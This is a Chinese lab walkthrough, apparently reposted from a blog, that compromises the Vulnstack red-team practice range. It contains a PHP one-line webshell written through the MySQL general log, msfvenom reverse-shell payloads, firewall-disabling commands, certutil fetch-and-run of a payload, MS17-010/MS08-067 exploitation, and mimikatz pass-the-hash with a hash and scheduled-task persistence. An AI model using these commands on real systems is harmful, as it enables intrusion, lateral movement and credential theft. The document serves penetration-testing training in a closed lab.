ATK&CK紅隊評估實戰靶場(一)的搭建和模擬攻擊過程全過程


ATK&CK紅隊評估實戰靶場(一)的搭建和模擬攻擊過程全過程

0x01 前言

本靶機環境是紅日團隊開源的一個紅隊實戰測試環境,靶機下載地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

通過模擬真實環境搭建的漏洞靶場,完全模擬ATK&CK攻擊鏈路進行搭建,形成完整個閉環。虛擬機默認密碼為hongrisec@2019。

0x02 環境搭建

本次環境搭建和靶機默認有些區別,我是在一台服務器的虛擬機上搭建的,服務器資源足夠,為了避免運行卡頓,攻擊機Kali也是在虛擬機上,具體配置如下,Kali虛擬機、WEB服務器win7外網網卡和宿主機橋接,和辦公終端都是連到同一個局域網中。

WEB服務器:windows7系統

外網網卡IP:192.168.1.102
內網網卡IP:192.168.52.143

域成員:windows server 2003系統

網卡IP:192.168.52.141

域控服務器:windows server 2008系統

網卡IP:192.168.52.138

攻擊機器:kali 2020.2

kali IP:192.168.1.101

宿主機IP:windows server 2008系統

IP:192.168.1.111

安裝CobaltStrike服務器

IP:192.168.1.236

搭建靶機環境拓撲圖如下:

ATT&CK紅隊評估實戰靶場(一)拓撲環境

模擬攻擊示意圖如下:

模擬攻擊過程

0x03 攻入內網

3.1. 信息收集

3.1.1 主機探測

netdiscover -i eth0 -r 192.168.1.0/24

3.1.2 端口掃描

發現IP192.168.1.102,使用nmap探測端口開放情況(注意需要現在win7主機運行PhpStudy)

nmap -sC -v -n -sV -Pn -p 1-65535 192.168.1.102

發現80端口開啟,訪問頁面http://192.168.1.102/發現頁面如下,存在大量信息泄露,收集有效信息。

3.1.3 目錄掃描

使用7kbscan-WebPathBrute目錄掃描工具開展漏洞掃描

發現網站備份文件和phpadmin后台管理界面

打開備份文件發現網站源碼,打開robots.txt發現網站CMS為yxcms,訪問http://192.168.1.102/yxcms進入網站首頁

3.2. 漏洞利用

3.2.1 漏洞發現

3.2.1.1 漏洞一:信息泄露+弱口令

網站泄露后台地址和用戶密碼,且用戶密碼為弱口令

成功登錄網站后台界面

3.2.1.2 漏洞二:PhpMyAdmin弱口令

發現使用默認用戶名/口令(root/root)成功登錄PhpMyAdmin管理頁面

3.2.1.3 漏洞三:yxcms留言本XSS存儲型漏洞

前台提交帶有XSS代碼的留言

后台審核成功彈出XSS彈窗

審核通過之后,前台同樣成功彈窗

可通過該漏洞獲取管理員cookie或者誘導管理員點擊執行某惡意代碼

3.2.1.4 漏洞四:yxcms后台任意文件讀寫漏洞

在后台創建新模板模塊創建內容為一句話的新模板

通過前面的備份文件可知文件保存的目錄http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php

使用蟻劍成功連接shell

3.2.1.5 漏洞五:yxcms后台SQL注入漏洞

在后台的碎片列表中進行刪除操作,刪除碎片ID可能存在盲注漏洞,使用dnslog獲取SQL注入得到數據。

yxcms漏洞代碼原理解析參考文章https://www.freebuf.com/column/162886.html

3.2.1.6 漏洞六:PhpMyAdmin開啟全局日志getshell

首先測試是否可以使用select into outfile直接寫入

Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'

寫入失敗, show global variables like ‘%secure%’查看變量secure-file-priv 值為NULL,且為只讀無法修改。

嘗試使用全局日志寫入shell,查看全局變量general_log:show global variables like ‘%general_%’

開啟全局日志並修改日志保存位置為C:/phpStudy/WWW/hack.php

set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';

查詢一句話寫入日志Select '<?php eval($_POST[hack]);?>'

使用蟻劍連接一句話木馬http://192.168.1.102/hack.php

3.3 CS上線GetShell

CS客戶端服務端都部署在192.168.1.236主機上,創建監聽並生成powershell

時間反應比較慢,建議多執行幾次並等一會

提權成功

3.4 系統信息收集

查看網卡

發現內網ip地址192.168.52.143和域god.org,查看域信息

net group /domain  #查看域內所有用戶列表
net group “domain computers” /domain #查看域成員計算機列表
net group “domain admins” /domain #查看域管理員用戶

本機計算機名字為STU1,另外還有兩個域用戶分別是DEV1、ROOT-TVI862UBEH、域控制用戶為OWA

3.5 主機密碼收集

獲取系統用戶名和密碼

3.6 遠程桌面登錄

遠程開啟3389端口並關閉防火牆

注冊表開啟3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


關閉防火牆
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

這個時候防火牆是開啟,我們需要關閉防火牆,使用域用戶god\administrator/hongrisec@2020成功登錄這一台win7WEB主機

0x04 內網信息收集

4.1 域信息收集

前面收集到的信息Win7計算機名字為STU1,另外還有兩個域用戶分別是DEV1、ROOT-TVI862UBEH、域控制用戶為OWA

win7內網的IP地址為192.168.52.143

進一步開始收集,通過Ladon 192.168.52.0/24 OnlinePC探測域內存活主機

域成員:192.168.52.141

域控DC:192.168.52.138

4.5 內網漏洞掃描

前期我們獲取到win7的遠程桌面也可以通過遠程發現win7主機上安裝了nmap工具,我們可以進一步針對192.168.52.0/24內網網段進行漏洞信息收集

nmap  --script-vlun -p 1-65535 192.168.52.141

nmap  --script-vlun -p 1-65535 192.168.52.138

也可以自己上傳工具開展信息漏洞收集工作,我們使用上傳的Ladon工具

發現192.168.1.141存在漏洞:MS08-067、MS17-010,192.168.1.138存在MS17-010漏洞。

攻擊思路:

1、我們可以直接全部使用MS17-010獲取域成員和域控主機;

2、使用MS08-067獲取域成員主機,然后使用橫向移動【VMI利用】獲取域控主機

0x05 橫向滲透

5.1 MSF反彈shell

這里我們使用Kali的msf先反彈一個shell

#生成反彈shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php

#在本機中設置監聽

msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run

然后使用蟻劍上傳shell.php,並訪問

5.2 內網流量轉發(MSF+proxychains)

參考文章https://www.freebuf.com/articles/network/125278.html

成功獲取msf反彈shell,添加路由到目標環境網絡,使得msf能夠通過win7路由轉發訪問192.168.25.0/24網段

#查看路由信息
run get_local_subnets
#添加一條路由
run autoroute -s 192.168.52.0/24

使用msf的socks4代理模塊

文本編輯器修改etc/proxychains.conf,在最后一行加上socks4代理服務器

[ProxyList]

socks4 192.168.1.101 1080

使用proxychains代理nmap掃描主機

5.3 MS08-067 搭配Bind TCP

由於沒有定義雙向路由,目標系統無法直接連接到攻擊機,所以我們需要將Bind_tcp設置為payload類型,在exploit操作成功之后,就要對連接到目標系統的端口進行監聽,兩者區別如下:

完整設置如下:

成功獲取域成員192.168.1.141的shell

5.4 MS17-010獲取域控服務器

我們同樣可以使用MS17-010獲取域服務器和域控服務器權限,這里我們直接攻擊域控服務器

使用exploit/windows/smb/ms17_010_eternalblue攻擊流程如下:

獲取失敗,使用

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp

攻擊流程如下

仍然無法有效獲取會話

5.5 WMI獲取域控服務器

上傳vmiexec.vbs到192.168.52.143(win7)機器上,然后執行

cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"

或者直接使用之前上傳的Ladom工具執行ladom wmiexec 192.168.52.138 administrator hongrisec@2020 whoami

同上面的過程一樣,我們需要獲取一個正向的msf連接,過程如下:

首先生成一個正向的exe文件放到win7的網站目錄上

在win7上查看

在win7上使用WMI執行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe

成功執行,這時候在138機器(DC—win2008)上開啟6666端口監聽

然后我們在msf上個運行blin_tcp來獲取回話

忘記改端口了,修改端口為6666

成功獲取域控權限,后續提權,可以使用msf mimikatz進一步獲取用戶密碼等。(msf連接過程中保持內網流量轉發:步驟5.2,如果無法獲取會話在kali上掃描138主機6666端口是否開放,如果沒有開放參考3.6,同樣使用vmi命令關閉防火牆后重,我使用的是之前上傳的K8大神的Lodan工具,是因為vbs腳本一直沒有回顯,后來重啟win2008域控服務器才有回顯)

下一步開始提權,嘗試多種提權方法均失敗

然后上網查看資料,使用CVE-2018-8120來提權,直接文件上傳upload CVE-2018-8120-master提權程序

成功提權,上免殺mimikatz

用戶所有密碼都會保存在mz.log文件中,可以直接type mz.log查看

5.6 票據加計划任務獲取DC

這是博客ATT&CK紅隊評估實戰靶場(一)的獲取域控方法,感覺太過復雜,本人沒有嘗試,這里也放在這里供大家參考。

mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

shell dir \192.168.52.138\c$ //dir DC的目錄

生成一個exe馬
這里用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬復制到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然后再用這個寫入計划任務的方法去連接,這里馬反彈會連不成功,所以
shell schtasks /create /tn "test" /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,后續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之后清除計划任務schtasks /delete /s 192.168.52.138 /tn "test" /f

0x06 后記

當然最后獲取域控權限的方法還有好多,向pth攻擊、橫向哈希傳遞、redis等等,還有后續的痕跡清理日志清楚都沒有涉及,經過這一次充分認識到自己的不足,還需要多加學習,有些地方自己還是沒有完全弄明白,只是完全參考網絡上的大神們的教程,文中有錯漏的地方希望大家多多包含,我只是用了我覺得最簡單的思路進行攻擊,更復雜的沒有涉及,希望以后能多多練習這樣的靶機學習更牛的技能,最后謝謝紅日團隊給出的這個靶機,后續還有一系列靶機,有時間會慢慢逐個嘗試。

0x07 參考資料

ATT&CK實戰 | Vulnstack 紅隊(一)

ATT&CK實戰 | 紅隊評估一(上)

ATT&CK實戰 | 紅隊評估一(下)

ATT&CK紅隊評估實戰靶場(一)

圖解Meterpreter實現網絡穿透的方法

內網滲透靶機-VulnStack 1

代碼審計| yxcms app 1.4.6 漏洞集合


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM